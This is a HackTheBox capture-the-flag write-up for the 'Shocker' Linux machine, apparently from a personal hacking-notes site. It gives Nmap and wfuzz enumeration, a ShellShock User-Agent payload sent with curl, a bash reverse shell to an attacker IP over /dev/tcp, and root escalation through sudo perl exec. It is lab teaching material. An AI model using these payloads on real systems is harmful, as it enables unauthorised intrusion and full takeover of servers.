> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md). # Shocker HackTheBox Writeup Shocker HackTheBox Easy Linux machine writeup covering ShellShock Attack (User-Agent), Abusing Sudoers Privilege (Perl), with practical enumeration, exploitation, foothold, and privilege escalation no {% embed url="" %} {% hint style="warning" %} **Skills:** * ShellShock Attack (User-Agent) * Abusing Sudoers Privilege (Perl) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.
**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.56 -oG allPorts ```
**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (80.2222)
Port version scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p80,2222 10.10.10.56 -oN targeted ```
### Port 80 - HTTP
#### Enumeration of directories We use **WFuzz** to identify accessible directories: ```bash wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/ | grep -v "#" ```
This reveals the **cgi-bin** directory, often associated with exploitable scripts. ## Vulnerability ShellShock #### Search for exploitable files We filter for files with extensions like `.sh`, `.pl`, or `.cgi`: ```bash wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z ``` The **user.sh** file is identified. This script appears dynamic and may be vulnerable.
#### Vulnerability detection We use the following Nmap script to test the vulnerability: ```bash nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56 ``` The scan confirms that the **user.sh** file is vulnerable to ShellShock.
#### Order fulfillment To test command execution, we use **curl** with a malicious User-Agent: ```bash curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/whoami" ``` This returns the active username.
#### Reverse Shell To get a reverse shell: 1. Listen on port 443: ```bash nc -nlvp 443 ``` 2. Inject the following payload: {% code overflow="wrap" %} ```bash -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'" ``` {% endcode %} ```bash curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'" ```
### Flag user.txt :)
## Privilege Escalation ### Sudoers - Perl When analyzing **Sudoers** rights, we notice that the user has permission to execute `perl` as **root**. This can be verified with the following command: ```bash sudo -l ```
#### Exploitation To exploit this configuration and obtain a shell with root privileges, simply inject the following command: {% embed url="" %} ```bash sudo /usr/bin/perl -e 'exec "/bin/sh";' ```
### Flag root.txt :)
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